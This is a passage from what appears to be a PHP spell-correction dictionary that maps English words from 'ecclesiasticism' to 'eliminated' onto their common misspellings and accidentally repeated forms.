\t],\r\n\t\t\t\t'ecclesiasticism'=>[\r\n\t\t\t\t\t'eclesiasticism',\r\n\t\t\t\t],\r\n\t\t\t\t'ecclesiastics'=>[\r\n\t\t\t\t\t'eclesiastics',\r\n\t\t\t\t],\r\n\t\t\t\t'ecclesiological'=>[\r\n\t\t\t\t\t'eclesiological',\r\n\t\t\t\t],\r\n\t\t\t\t'ecclesiologies'=>[\r\n\t\t\t\t\t'ecclesiologeis',\r\n\t\t\t\t\t'ecclesiologis',\r\n\t\t\t\t\t'eclesiologies',\r\n\t\t\t\t],\r\n\t\t\t\t'ecclesiologist'=>[\r\n\t\t\t\t\t'eclesiologist',\r\n\t\t\t\t],\r\n\t\t\t\t'ecclesiologists'=>[\r\n\t\t\t\t\t'eclesiologists',\r\n\t\t\t\t],\r\n\t\t\t\t'ecclesiology'=>[\r\n\t\t\t\t\t'eclesiology',\r\n\t\t\t\t],\r\n\t\t\t\t'eccrine'=>[\r\n\t\t\t\t\t'ecrine',\r\n\t\t\t\t],\r\n\t\t\t\t'echinacea'=>[\r\n\t\t\t\t\t'echinicea',\r\n\t\t\t\t],\r\n\t\t\t\t'echinate'=>[\r\n\t\t\t\t\t'echinite',\r\n\t\t\t\t],\r\n\t\t\t\t'echini'=>[\r\n\t\t\t\t\t'echina',\r\n\t\t\t\t],\r\n\t\t\t\t'echinococci'=>[\r\n\t\t\t\t\t'echinococi',\r\n\t\t\t\t],\r\n\t\t\t\t'echinococcoses'=>[\r\n\t\t\t\t\t'echinococoses',\r\n\t\t\t\t],\r\n\t\t\t\t'echinococcosis'=>[\r\n\t\t\t\t\t'echinococosis',\r\n\t\t\t\t],\r\n\t\t\t\t'echinococcus'=>[\r\n\t\t\t\t\t'echinococus',\r\n\t\t\t\t],\r\n\t\t\t\t'eclaircissement'=>[\r\n\t\t\t\t\t'eclaircisement',\r\n\t\t\t\t\t'eclaircissemant',\r\n\t\t\t\t],\r\n\t\t\t\t'eclectic'=>[\r\n\t\t\t\t\t'ecclectic',\r\n\t\t\t\t\t'eclectric',\r\n\t\t\t\t],\r\n\t\t\t\t'eclipse'=>[\r\n\t\t\t\t\t'eclispe',\r\n\t\t\t\t],\r\n\t\t\t\t'eclogues'=>[\r\n\t\t\t\t\t'edogues',\r\n\t\t\t\t],\r\n\t\t\t\t'ecofeminism'=>[\r\n\t\t\t\t\t'ecofeminasm',\r\n\t\t\t\t],\r\n\t\t\t\t'ecological'=>[\r\n\t\t\t\t\t'ecolical',\r\n\t\t\t\t],\r\n\t\t\t\t'econometrician'=>[\r\n\t\t\t\t\t'econometrican',\r\n\t\t\t\t],\r\n\t\t\t\t'economic'=>[\r\n\t\t\t\t\t'ecomonic',\r\n\t\t\t\t\t'economis',\r\n\t\t\t\t],\r\n\t\t\t\t'economical'=>[\r\n\t\t\t\t\t'ecomonical',\r\n\t\t\t\t\t'economial',\r\n\t\t\t\t],\r\n\t\t\t\t'economist'=>[\r\n\t\t\t\t\t'eeonomist',\r\n\t\t\t\t],\r\n\t\t\t\t'economists'=>[\r\n\t\t\t\t\t'eeonomists',\r\n\t\t\t\t],\r\n\t\t\t\t'economy'=>[\r\n\t\t\t\t\t'ecomony',\r\n\t\t\t\t],\r\n\t\t\t\t'ecophysiologies'=>[\r\n\t\t\t\t\t'ecophysiologeis',\r\n\t\t\t\t\t'ecophysiologis',\r\n\t\t\t\t],\r\n\t\t\t\t'ecoterrorism'=>[\r\n\t\t\t\t\t'ecoterorism',\r\n\t\t\t\t],\r\n\t\t\t\t'ecraseur'=>[\r\n\t\t\t\t\t'ecraser',\r\n\t\t\t\t],\r\n\t\t\t\t'ecstasy'=>[\r\n\t\t\t\t\t'ecstacy',\r\n\t\t\t\t\t'esctasy',\r\n\t\t\t\t\t'exstacy',\r\n\t\t\t\t\t'extacy',\r\n\t\t\t\t\t'extasy',\r\n\t\t\t\t],\r\n\t\t\t\t'ectomorph'=>[\r\n\t\t\t\t\t'ectomourph',\r\n\t\t\t\t],\r\n\t\t\t\t'ectomorphic'=>[\r\n\t\t\t\t\t'ectomourphic',\r\n\t\t\t\t],\r\n\t\t\t\t'ectomorphs'=>[\r\n\t\t\t\t\t'ectomourphs',\r\n\t\t\t\t],\r\n\t\t\t\t'ectoparasite'=>[\r\n\t\t\t\t\t'ectoperasite',\r\n\t\t\t\t],\r\n\t\t\t\t'ectoparasites'=>[\r\n\t\t\t\t\t'ectoperasites',\r\n\t\t\t\t],\r\n\t\t\t\t'ectoparasitic'=>[\r\n\t\t\t\t\t'ectoperasitic',\r\n\t\t\t\t],\r\n\t\t\t\t'ecuadorean-occupied'=>[\r\n\t\t\t\t\t'ecuadorean occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'edacious'=>[\r\n\t\t\t\t\t'edacous',\r\n\t\t\t\t],\r\n\t\t\t\t'edelweiss'=>[\r\n\t\t\t\t\t'edelwiess',\r\n\t\t\t\t],\r\n\t\t\t\t'edelweisses'=>[\r\n\t\t\t\t\t'edelwiesses',\r\n\t\t\t\t],\r\n\t\t\t\t'edentate'=>[\r\n\t\t\t\t\t'edantate',\r\n\t\t\t\t],\r\n\t\t\t\t'edentates'=>[\r\n\t\t\t\t\t'edantates',\r\n\t\t\t\t],\r\n\t\t\t\t'edentulous'=>[\r\n\t\t\t\t\t'edantulous',\r\n\t\t\t\t],\r\n\t\t\t\t'edge'=>[\r\n\t\t\t\t\t'edge edge',\r\n\t\t\t\t\t'edge edge edge',\r\n\t\t\t\t],\r\n\t\t\t\t'edged'=>[\r\n\t\t\t\t\t'eged',\r\n\t\t\t\t],\r\n\t\t\t\t'edgeless'=>[\r\n\t\t\t\t\t'egeless',\r\n\t\t\t\t],\r\n\t\t\t\t'edger'=>[\r\n\t\t\t\t\t'eger',\r\n\t\t\t\t],\r\n\t\t\t\t'edgers'=>[\r\n\t\t\t\t\t'egers',\r\n\t\t\t\t],\r\n\t\t\t\t'edges'=>[\r\n\t\t\t\t\t'eges',\r\n\t\t\t\t],\r\n\t\t\t\t'edgeways'=>[\r\n\t\t\t\t\t'egeways',\r\n\t\t\t\t],\r\n\t\t\t\t'edgewise'=>[\r\n\t\t\t\t\t'egewise',\r\n\t\t\t\t],\r\n\t\t\t\t'edibilities'=>[\r\n\t\t\t\t\t'edibiliteis',\r\n\t\t\t\t\t'edibilitis',\r\n\t\t\t\t],\r\n\t\t\t\t'edible'=>[\r\n\t\t\t\t\t'edable',\r\n\t\t\t\t],\r\n\t\t\t\t'editable'=>[\r\n\t\t\t\t\t'editible',\r\n\t\t\t\t],\r\n\t\t\t\t'edited'=>[\r\n\t\t\t\t\t'editied',\r\n\t\t\t\t],\r\n\t\t\t\t'edition'=>[\r\n\t\t\t\t\t'edtion',\r\n\t\t\t\t],\r\n\t\t\t\t'editor'=>[\r\n\t\t\t\t\t'editior',\r\n\t\t\t\t],\r\n\t\t\t\t'educable'=>[\r\n\t\t\t\t\t'educible',\r\n\t\t\t\t],\r\n\t\t\t\t'education'=>[\r\n\t\t\t\t\t'educadon',\r\n\t\t\t\t\t'eduction',\r\n\t\t\t\t],\r\n\t\t\t\t'educational'=>[\r\n\t\t\t\t\t'eductional',\r\n\t\t\t\t],\r\n\t\t\t\t'educible'=>[\r\n\t\t\t\t\t'educable',\r\n\t\t\t\t],\r\n\t\t\t\t'edutainment'=>[\r\n\t\t\t\t\t'edutaiment',\r\n\t\t\t\t\t'edutainent',\r\n\t\t\t\t\t'edutainmant',\r\n\t\t\t\t],\r\n\t\t\t\t'edutainments'=>[\r\n\t\t\t\t\t'edutaiments',\r\n\t\t\t\t\t'edutainents',\r\n\t\t\t\t],\r\n\t\t\t\t'eels'=>[\r\n\t\t\t\t\t'eles',\r\n\t\t\t\t],\r\n\t\t\t\t'eerie'=>[\r\n\t\t\t\t\t'eerei',\r\n\t\t\t\t\t'eery',\r\n\t\t\t\t\t'eeri',\r\n\t\t\t\t],\r\n\t\t\t\t'eerily'=>[\r\n\t\t\t\t\t'eeriely',\r\n\t\t\t\t],\r\n\t\t\t\t'eeriness'=>[\r\n\t\t\t\t\t'eerieness',\r\n\t\t\t\t],\r\n\t\t\t\t'effable'=>[\r\n\t\t\t\t\t'effible',\r\n\t\t\t\t],\r\n\t\t\t\t'effect'=>[\r\n\t\t\t\t\t'cffect',\r\n\t\t\t\t\t'effect effect',\r\n\t\t\t\t\t'effect effect effect',\r\n\t\t\t\t],\r\n\t\t\t\t'effective'=>[\r\n\t\t\t\t\t'efective',\r\n\t\t\t\t\t'effetive',\r\n\t\t\t\t],\r\n\t\t\t\t'effectively'=>[\r\n\t\t\t\t\t'effectiveally',\r\n\t\t\t\t\t'effectivealy',\r\n\t\t\t\t\t'effectiveely',\r\n\t\t\t\t\t'effectivelly',\r\n\t\t\t\t\t'effectivly',\r\n\t\t\t\t],\r\n\t\t\t\t'effectual'=>[\r\n\t\t\t\t\t'effectaul',\r\n\t\t\t\t],\r\n\t\t\t\t'effectualities'=>[\r\n\t\t\t\t\t'effectualiteis',\r\n\t\t\t\t\t'effectaulities',\r\n\t\t\t\t\t'effectualitis',\r\n\t\t\t\t],\r\n\t\t\t\t'effectualness'=>[\r\n\t\t\t\t\t'effectaulness',\r\n\t\t\t\t],\r\n\t\t\t\t'effectualnesses'=>[\r\n\t\t\t\t\t'effectaulnesses',\r\n\t\t\t\t],\r\n\t\t\t\t'effectuate'=>[\r\n\t\t\t\t\t'effectaute',\r\n\t\t\t\t],\r\n\t\t\t\t'effectuations'=>[\r\n\t\t\t\t\t'effectautions',\r\n\t\t\t\t],\r\n\t\t\t\t'effeminacy'=>[\r\n\t\t\t\t\t'effeminasy',\r\n\t\t\t\t\t'effeminicy',\r\n\t\t\t\t],\r\n\t\t\t\t'effeminate'=>[\r\n\t\t\t\t\t'effeminite',\r\n\t\t\t\t],\r\n\t\t\t\t'effervescence'=>[\r\n\t\t\t\t\t'effervecence',\r\n\t\t\t\t\t'effervecsence',\r\n\t\t\t\t\t'effervescance',\r\n\t\t\t\t\t'effervesence',\r\n\t\t\t\t],\r\n\t\t\t\t'effervescences'=>[\r\n\t\t\t\t\t'effervecences',\r\n\t\t\t\t\t'effervecsences',\r\n\t\t\t\t\t'effervesences',\r\n\t\t\t\t],\r\n\t\t\t\t'effervescently'=>[\r\n\t\t\t\t\t'effervecently',\r\n\t\t\t\t\t'effervecsently',\r\n\t\t\t\t\t'effervescentally',\r\n\t\t\t\t\t'effervescentaly',\r\n\t\t\t\t\t'effervescentely',\r\n\t\t\t\t\t'effervescentlly',\r\n\t\t\t\t\t'effervesently',\r\n\t\t\t\t],\r\n\t\t\t\t'effetely'=>[\r\n\t\t\t\t\t'effetly',\r\n\t\t\t\t],\r\n\t\t\t\t'efficacious'=>[\r\n\t\t\t\t\t'efficacous',\r\n\t\t\t\t],\r\n\t\t\t\t'efficaciously'=>[\r\n\t\t\t\t\t'efficaciousally',\r\n\t\t\t\t\t'efficaciousaly',\r\n\t\t\t\t\t'efficaciousely',\r\n\t\t\t\t\t'efficaciouslly',\r\n\t\t\t\t\t'efficacously',\r\n\t\t\t\t],\r\n\t\t\t\t'efficacy'=>[\r\n\t\t\t\t\t'efficasy',\r\n\t\t\t\t],\r\n\t\t\t\t'efficent'=>[\r\n\t\t\t\t\t'eficient',\r\n\t\t\t\t],\r\n\t\t\t\t'efficiency'=>[\r\n\t\t\t\t\t'effeciency',\r\n\t\t\t\t\t'efficeincy',\r\n\t\t\t\t\t'efficency',\r\n\t\t\t\t\t'efficiensy',\r\n\t\t\t\t\t'efficincy',\r\n\t\t\t\t],\r\n\t\t\t\t'efficient'=>[\r\n\t\t\t\t\t'effecient',\r\n\t\t\t\t\t'efficeint',\r\n\t\t\t\t\t'efficent',\r\n\t\t\t\t\t'eficient',\r\n\t\t\t\t\t'efficiant',\r\n\t\t\t\t\t'efficint',\r\n\t\t\t\t],\r\n\t\t\t\t'efficiently'=>[\r\n\t\t\t\t\t'efficeintly',\r\n\t\t\t\t\t'efficently',\r\n\t\t\t\t\t'efficintly',\r\n\t\t\t\t],\r\n\t\t\t\t'efflorescence'=>[\r\n\t\t\t\t\t'efflorecence',\r\n\t\t\t\t\t'efflorecsence',\r\n\t\t\t\t\t'efflorescance',\r\n\t\t\t\t\t'effloresence',\r\n\t\t\t\t],\r\n\t\t\t\t'efflorescences'=>[\r\n\t\t\t\t\t'efflorecences',\r\n\t\t\t\t\t'efflorecsences',\r\n\t\t\t\t\t'effloresences',\r\n\t\t\t\t],\r\n\t\t\t\t'effluence'=>[\r\n\t\t\t\t\t'effulence',\r\n\t\t\t\t\t'effluance',\r\n\t\t\t\t],\r\n\t\t\t\t'effluent'=>[\r\n\t\t\t\t\t'effluant',\r\n\t\t\t\t],\r\n\t\t\t\t'effort'=>[\r\n\t\t\t\t\t'affort',\r\n\t\t\t\t\t'ef- fort',\r\n\t\t\t\t\t'ef-fort',\r\n\t\t\t\t\t'efford',\r\n\t\t\t\t\t'efort',\r\n\t\t\t\t],\r\n\t\t\t\t'effortless'=>[\r\n\t\t\t\t\t'effortles',\r\n\t\t\t\t],\r\n\t\t\t\t'efforts'=>[\r\n\t\t\t\t\t'effords',\r\n\t\t\t\t],\r\n\t\t\t\t'effrontery'=>[\r\n\t\t\t\t\t'effrontary',\r\n\t\t\t\t],\r\n\t\t\t\t'effulgence'=>[\r\n\t\t\t\t\t'effulgance',\r\n\t\t\t\t],\r\n\t\t\t\t'effusing'=>[\r\n\t\t\t\t\t'effuisng',\r\n\t\t\t\t],\r\n\t\t\t\t'effusion'=>[\r\n\t\t\t\t\t'effuison',\r\n\t\t\t\t],\r\n\t\t\t\t'effusions'=>[\r\n\t\t\t\t\t'effuisons',\r\n\t\t\t\t],\r\n\t\t\t\t'effusive'=>[\r\n\t\t\t\t\t'effuisve',\r\n\t\t\t\t],\r\n\t\t\t\t'effusively'=>[\r\n\t\t\t\t\t'effuisvely',\r\n\t\t\t\t\t'effusivly',\r\n\t\t\t\t],\r\n\t\t\t\t'effusiveness'=>[\r\n\t\t\t\t\t'effuisveness',\r\n\t\t\t\t],\r\n\t\t\t\t'effusivenesses'=>[\r\n\t\t\t\t\t'effuisvenesses',\r\n\t\t\t\t],\r\n\t\t\t\t'efraín'=>[\r\n\t\t\t\t\t'efrain',\r\n\t\t\t\t],\r\n\t\t\t\t'egalitarian'=>[\r\n\t\t\t\t\t'egalitaran',\r\n\t\t\t\t],\r\n\t\t\t\t'egg'=>[\r\n\t\t\t\t\t'egg egg',\r\n\t\t\t\t\t'egg egg egg',\r\n\t\t\t\t\t'eg',\r\n\t\t\t\t],\r\n\t\t\t\t'eggar'=>[\r\n\t\t\t\t\t'egar',\r\n\t\t\t\t\t'egger',\r\n\t\t\t\t],\r\n\t\t\t\t'eggbeater'=>[\r\n\t\t\t\t\t'egbeater',\r\n\t\t\t\t],\r\n\t\t\t\t'eggcup'=>[\r\n\t\t\t\t\t'egcup',\r\n\t\t\t\t],\r\n\t\t\t\t'egged'=>[\r\n\t\t\t\t\t'eged',\r\n\t\t\t\t],\r\n\t\t\t\t'egger'=>[\r\n\t\t\t\t\t'eger',\r\n\t\t\t\t],\r\n\t\t\t\t'eggfruit'=>[\r\n\t\t\t\t\t'egfruit',\r\n\t\t\t\t],\r\n\t\t\t\t'eggfruits'=>[\r\n\t\t\t\t\t'egfruits',\r\n\t\t\t\t],\r\n\t\t\t\t'egghead'=>[\r\n\t\t\t\t\t'eghead',\r\n\t\t\t\t],\r\n\t\t\t\t'eggheaded'=>[\r\n\t\t\t\t\t'egheaded',\r\n\t\t\t\t],\r\n\t\t\t\t'eggheadedness'=>[\r\n\t\t\t\t\t'egheadedness',\r\n\t\t\t\t],\r\n\t\t\t\t'eggheadednesses'=>[\r\n\t\t\t\t\t'egghedednesses',\r\n\t\t\t\t\t'egheadednesses',\r\n\t\t\t\t],\r\n\t\t\t\t'eggnog'=>[\r\n\t\t\t\t\t'egnog',\r\n\t\t\t\t],\r\n\t\t\t\t'eggplant'=>[\r\n\t\t\t\t\t'eggplent',\r\n\t\t\t\t\t'egplant',\r\n\t\t\t\t],\r\n\t\t\t\t'eggplants'=>[\r\n\t\t\t\t\t'egplants',\r\n\t\t\t\t],\r\n\t\t\t\t'eggs'=>[\r\n\t\t\t\t\t'egs',\r\n\t\t\t\t],\r\n\t\t\t\t'eggshell'=>[\r\n\t\t\t\t\t'egshell',\r\n\t\t\t\t],\r\n\t\t\t\t'eggshells'=>[\r\n\t\t\t\t\t'egshells',\r\n\t\t\t\t],\r\n\t\t\t\t'eggy'=>[\r\n\t\t\t\t\t'egy',\r\n\t\t\t\t],\r\n\t\t\t\t'egocentricities'=>[\r\n\t\t\t\t\t'egocentriciteis',\r\n\t\t\t\t\t'egocantricities',\r\n\t\t\t\t\t'egocentricitis',\r\n\t\t\t\t],\r\n\t\t\t\t'egregious'=>[\r\n\t\t\t\t\t'aggregious',\r\n\t\t\t\t\t'agregious',\r\n\t\t\t\t\t'egregous',\r\n\t\t\t\t],\r\n\t\t\t\t'egregiously'=>[\r\n\t\t\t\t\t'egregiousally',\r\n\t\t\t\t\t'egregiousaly',\r\n\t\t\t\t\t'egregiousely',\r\n\t\t\t\t\t'egregiouslly',\r\n\t\t\t\t\t'egregously',\r\n\t\t\t\t],\r\n\t\t\t\t'egress'=>[\r\n\t\t\t\t\t'egres',\r\n\t\t\t\t],\r\n\t\t\t\t'egypt'=>[\r\n\t\t\t\t\t'eqypt',\r\n\t\t\t\t],\r\n\t\t\t\t'egyptian'=>[\r\n\t\t\t\t\t'eqyptian',\r\n\t\t\t\t\t'egyptan',\r\n\t\t\t\t],\r\n\t\t\t\t'egyptian-occupied'=>[\r\n\t\t\t\t\t'egyptian occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'eicosanoid'=>[\r\n\t\t\t\t\t'iecosanoid',\r\n\t\t\t\t],\r\n\t\t\t\t'eicosanoids'=>[\r\n\t\t\t\t\t'iecosanoids',\r\n\t\t\t\t],\r\n\t\t\t\t'eide'=>[\r\n\t\t\t\t\t'iede',\r\n\t\t\t\t],\r\n\t\t\t\t'eider'=>[\r\n\t\t\t\t\t'ieder',\r\n\t\t\t\t],\r\n\t\t\t\t'eiderdown'=>[\r\n\t\t\t\t\t'iederdown',\r\n\t\t\t\t],\r\n\t\t\t\t'eiderdowns'=>[\r\n\t\t\t\t\t'iederdowns',\r\n\t\t\t\t],\r\n\t\t\t\t'eidetic'=>[\r\n\t\t\t\t\t'iedetic',\r\n\t\t\t\t],\r\n\t\t\t\t'eidetically'=>[\r\n\t\t\t\t\t'iedetically',\r\n\t\t\t\t],\r\n\t\t\t\t'eidola'=>[\r\n\t\t\t\t\t'iedola',\r\n\t\t\t\t],\r\n\t\t\t\t'eidolic'=>[\r\n\t\t\t\t\t'iedolic',\r\n\t\t\t\t],\r\n\t\t\t\t'eidolon'=>[\r\n\t\t\t\t\t'iedolon',\r\n\t\t\t\t],\r\n\t\t\t\t'eidos'=>[\r\n\t\t\t\t\t'iedos',\r\n\t\t\t\t],\r\n\t\t\t\t'eigenmode'=>[\r\n\t\t\t\t\t'eigemode',\r\n\t\t\t\t\t'eigenode',\r\n\t\t\t\t],\r\n\t\t\t\t'eigenmodes'=>[\r\n\t\t\t\t\t'eigemodes',\r\n\t\t\t\t\t'eigenodes',\r\n\t\t\t\t\t'iegenmodes',\r\n\t\t\t\t],\r\n\t\t\t\t'eigenvalue'=>[\r\n\t\t\t\t\t'iegenvalue',\r\n\t\t\t\t],\r\n\t\t\t\t'eigenvalues'=>[\r\n\t\t\t\t\t'iegenvalues',\r\n\t\t\t\t],\r\n\t\t\t\t'eigenvector'=>[\r\n\t\t\t\t\t'iegenvector',\r\n\t\t\t\t],\r\n\t\t\t\t'eigenvectors'=>[\r\n\t\t\t\t\t'iegenvectors',\r\n\t\t\t\t],\r\n\t\t\t\t'eight'=>[\r\n\t\t\t\t\t'eght',\r\n\t\t\t\t\t'eight eight',\r\n\t\t\t\t\t'eight eight eight',\r\n\t\t\t\t\t'eigth',\r\n\t\t\t\t\t'ieght',\r\n\t\t\t\t],\r\n\t\t\t\t'eight-hour'=>[\r\n\t\t\t\t\t'eighthour',\r\n\t\t\t\t],\r\n\t\t\t\t'eightballs'=>[\r\n\t\t\t\t\t'ieghtballs',\r\n\t\t\t\t],\r\n\t\t\t\t'eighteen'=>[\r\n\t\t\t\t\t'ieghteen',\r\n\t\t\t\t],\r\n\t\t\t\t'eighteenth'=>[\r\n\t\t\t\t\t'eighteanth',\r\n\t\t\t\t\t'ieghteenth',\r\n\t\t\t\t],\r\n\t\t\t\t'eighteenths'=>[\r\n\t\t\t\t\t'ieghteenths',\r\n\t\t\t\t],\r\n\t\t\t\t'eightfold'=>[\r\n\t\t\t\t\t'ieghtfold',\r\n\t\t\t\t],\r\n\t\t\t\t'eighth'=>[\r\n\t\t\t\t\t'eigth',\r\n\t\t\t\t\t'ieghth',\r\n\t\t\t\t],\r\n\t\t\t\t'eighths'=>[\r\n\t\t\t\t\t'ieghths',\r\n\t\t\t\t],\r\n\t\t\t\t'eighties'=>[\r\n\t\t\t\t\t'eightys',\r\n\t\t\t\t],\r\n\t\t\t\t'eightieth'=>[\r\n\t\t\t\t\t'eighieth',\r\n\t\t\t\t\t'eighteith',\r\n\t\t\t\t\t'eightith',\r\n\t\t\t\t\t'ieghtieth',\r\n\t\t\t\t],\r\n\t\t\t\t'eightieths'=>[\r\n\t\t\t\t\t'ieghtieths',\r\n\t\t\t\t],\r\n\t\t\t\t'eights'=>[\r\n\t\t\t\t\t'ieghts',\r\n\t\t\t\t],\r\n\t\t\t\t'eightvo'=>[\r\n\t\t\t\t\t'ieghtvo',\r\n\t\t\t\t],\r\n\t\t\t\t'eighty'=>[\r\n\t\t\t\t\t'ieghty',\r\n\t\t\t\t],\r\n\t\t\t\t'eikon'=>[\r\n\t\t\t\t\t'iekon',\r\n\t\t\t\t],\r\n\t\t\t\t'eikones'=>[\r\n\t\t\t\t\t'iekones',\r\n\t\t\t\t],\r\n\t\t\t\t'eikons'=>[\r\n\t\t\t\t\t'iekons',\r\n\t\t\t\t],\r\n\t\t\t\t'einkorn'=>[\r\n\t\t\t\t\t'ienkorn',\r\n\t\t\t\t],\r\n\t\t\t\t'einsteinium'=>[\r\n\t\t\t\t\t'einsteinaum',\r\n\t\t\t\t\t'einstienium',\r\n\t\t\t\t],\r\n\t\t\t\t'einsteiniums'=>[\r\n\t\t\t\t\t'einsteinaums',\r\n\t\t\t\t\t'einstieniums',\r\n\t\t\t\t],\r\n\t\t\t\t'eirenic'=>[\r\n\t\t\t\t\t'ierenic',\r\n\t\t\t\t],\r\n\t\t\t\t'eisteddfod'=>[\r\n\t\t\t\t\t'iesteddfod',\r\n\t\t\t\t],\r\n\t\t\t\t'eisteddfodau'=>[\r\n\t\t\t\t\t'iesteddfodau',\r\n\t\t\t\t],\r\n\t\t\t\t'eisteddfodic'=>[\r\n\t\t\t\t\t'iesteddfodic',\r\n\t\t\t\t],\r\n\t\t\t\t'eisteddfods'=>[\r\n\t\t\t\t\t'iesteddfods',\r\n\t\t\t\t],\r\n\t\t\t\t'either'=>[\r\n\t\t\t\t\t'either either',\r\n\t\t\t\t\t'either either either',\r\n\t\t\t\t\t'iether',\r\n\t\t\t\t],\r\n\t\t\t\t'eked'=>[\r\n\t\t\t\t\t'eeked',\r\n\t\t\t\t],\r\n\t\t\t\t'ekes'=>[\r\n\t\t\t\t\t'eeks',\r\n\t\t\t\t],\r\n\t\t\t\t'eking'=>[\r\n\t\t\t\t\t'eeking',\r\n\t\t\t\t],\r\n\t\t\t\t'el dorado'=>[\r\n\t\t\t\t\t'elderado',\r\n\t\t\t\t],\r\n\t\t\t\t'elaborate'=>[\r\n\t\t\t\t\t'elaborite',\r\n\t\t\t\t],\r\n\t\t\t\t'elaborately'=>[\r\n\t\t\t\t\t'elaboratly',\r\n\t\t\t\t],\r\n\t\t\t\t'elderberry'=>[\r\n\t\t\t\t\t'elderbery',\r\n\t\t\t\t],\r\n\t\t\t\t'elderlinesses'=>[\r\n\t\t\t\t\t'elderlinisses',\r\n\t\t\t\t],\r\n\t\t\t\t'elderly'=>[\r\n\t\t\t\t\t'elderally',\r\n\t\t\t\t\t'elderaly',\r\n\t\t\t\t\t'elderely',\r\n\t\t\t\t\t'elderlly',\r\n\t\t\t\t],\r\n\t\t\t\t'electabilities'=>[\r\n\t\t\t\t\t'electabiliteis',\r\n\t\t\t\t\t'electabilitis',\r\n\t\t\t\t],\r\n\t\t\t\t'electable'=>[\r\n\t\t\t\t\t'electible',\r\n\t\t\t\t],\r\n\t\t\t\t'electively'=>[\r\n\t\t\t\t\t'electivly',\r\n\t\t\t\t],\r\n\t\t\t\t'electoral'=>[\r\n\t\t\t\t\t'electorial',\r\n\t\t\t\t],\r\n\t\t\t\t'electric'=>[\r\n\t\t\t\t\t'elecric',\r\n\t\t\t\t\t'electic',\r\n\t\t\t\t\t'electric electric',\r\n\t\t\t\t\t'electric electric electric',\r\n\t\t\t\t],\r\n\t\t\t\t'electrical'=>[\r\n\t\t\t\t\t'electrial',\r\n\t\t\t\t],\r\n\t\t\t\t'electrically'=>[\r\n\t\t\t\t\t'electricly',\r\n\t\t\t\t],\r\n\t\t\t\t'electrician'=>[\r\n\t\t\t\t\t'electrican',\r\n\t\t\t\t],\r\n\t\t\t\t'electricity'=>[\r\n\t\t\t\t\t'electricty',\r\n\t\t\t\t],\r\n\t\t\t\t'electrified'=>[\r\n\t\t\t\t\t'electrifeid',\r\n\t\t\t\t\t'electrifid',\r\n\t\t\t\t],\r\n\t\t\t\t'electrifies'=>[\r\n\t\t\t\t\t'electrifeis',\r\n\t\t\t\t\t'electrifis',\r\n\t\t\t\t],\r\n\t\t\t\t'electrokinetic'=>[\r\n\t\t\t\t\t'electrokinitic',\r\n\t\t\t\t],\r\n\t\t\t\t'electrokinetics'=>[\r\n\t\t\t\t\t'electrokinitics',\r\n\t\t\t\t],\r\n\t\t\t\t'electroless'=>[\r\n\t\t\t\t\t'electroles',\r\n\t\t\t\t],\r\n\t\t\t\t'electron'=>[\r\n\t\t\t\t\t'electon',\r\n\t\t\t\t],\r\n\t\t\t\t'electronic'=>[\r\n\t\t\t\t\t'eletronic',\r\n\t\t\t\t],\r\n\t\t\t\t'electroscope'=>[\r\n\t\t\t\t\t'electrocope',\r\n\t\t\t\t\t'electrocsope',\r\n\t\t\t\t\t'electrosope',\r\n\t\t\t\t],\r\n\t\t\t\t'electroscopes'=>[\r\n\t\t\t\t\t'electrocopes',\r\n\t\t\t\t\t'electrocsopes',\r\n\t\t\t\t\t'electrosopes',\r\n\t\t\t\t],\r\n\t\t\t\t'electroweak'=>[\r\n\t\t\t\t\t'electrowek',\r\n\t\t\t\t],\r\n\t\t\t\t'electrowinning'=>[\r\n\t\t\t\t\t'electrowining',\r\n\t\t\t\t],\r\n\t\t\t\t'electrowinnings'=>[\r\n\t\t\t\t\t'electrowinings',\r\n\t\t\t\t],\r\n\t\t\t\t'electuaries'=>[\r\n\t\t\t\t\t'electuareis',\r\n\t\t\t\t\t'electuaris',\r\n\t\t\t\t],\r\n\t\t\t\t'electuary'=>[\r\n\t\t\t\t\t'electaury',\r\n\t\t\t\t\t'electuery',\r\n\t\t\t\t],\r\n\t\t\t\t'eleemosynary'=>[\r\n\t\t\t\t\t'eleemosynery',\r\n\t\t\t\t],\r\n\t\t\t\t'elegance'=>[\r\n\t\t\t\t\t'elegence',\r\n\t\t\t\t],\r\n\t\t\t\t'elegancy'=>[\r\n\t\t\t\t\t'elegansy',\r\n\t\t\t\t],\r\n\t\t\t\t'elegant'=>[\r\n\t\t\t\t\t'elegent',\r\n\t\t\t\t],\r\n\t\t\t\t'element'=>[\r\n\t\t\t\t\t'element element',\r\n\t\t\t\t\t'element element element',\r\n\t\t\t\t\t'elemant',\r\n\t\t\t\t],\r\n\t\t\t\t'elemental'=>[\r\n\t\t\t\t\t'elemantal',\r\n\t\t\t\t],\r\n\t\t\t\t'elementariness'=>[\r\n\t\t\t\t\t'elementariniss',\r\n\t\t\t\t],\r\n\t\t\t\t'elementary'=>[\r\n\t\t\t\t\t'elemantary',\r\n\t\t\t\t\t'elimentary',\r\n\t\t\t\t\t'elementery',\r\n\t\t\t\t],\r\n\t\t\t\t'elements'=>[\r\n\t\t\t\t\t'elemenst',\r\n\t\t\t\t\t'elemnts',\r\n\t\t\t\t\t'elemts',\r\n\t\t\t\t],\r\n\t\t\t\t'elephant'=>[\r\n\t\t\t\t\t'elphant',\r\n\t\t\t\t\t'elephent',\r\n\t\t\t\t],\r\n\t\t\t\t'elephantiases'=>[\r\n\t\t\t\t\t'elephentiases',\r\n\t\t\t\t],\r\n\t\t\t\t'elephantiasis'=>[\r\n\t\t\t\t\t'elephentiasis',\r\n\t\t\t\t],\r\n\t\t\t\t'elephantine'=>[\r\n\t\t\t\t\t'elephantini',\r\n\t\t\t\t\t'elephentine',\r\n\t\t\t\t],\r\n\t\t\t\t'eleventh'=>[\r\n\t\t\t\t\t'elevanth',\r\n\t\t\t\t],\r\n\t\t\t\t'elicited'=>[\r\n\t\t\t\t\t'elicided',\r\n\t\t\t\t],\r\n\t\t\t\t'elidible'=>[\r\n\t\t\t\t\t'elidable',\r\n\t\t\t\t],\r\n\t\t\t\t'eligibility'=>[\r\n\t\t\t\t\t'eligability',\r\n\t\t\t\t],\r\n\t\t\t\t'eligible'=>[\r\n\t\t\t\t\t'eligable',\r\n\t\t\t\t],\r\n\t\t\t\t'eliminate'=>[\r\n\t\t\t\t\t'elminate',\r\n\t\t\t\t\t'eliminite',\r\n\t\t\t\t],\r\n\t\t\t\t'eliminated'=>[\r\n\t\t\t\t\t'eleminated',\r\n\t\t\t\t],\r\n\t\t\t\t'el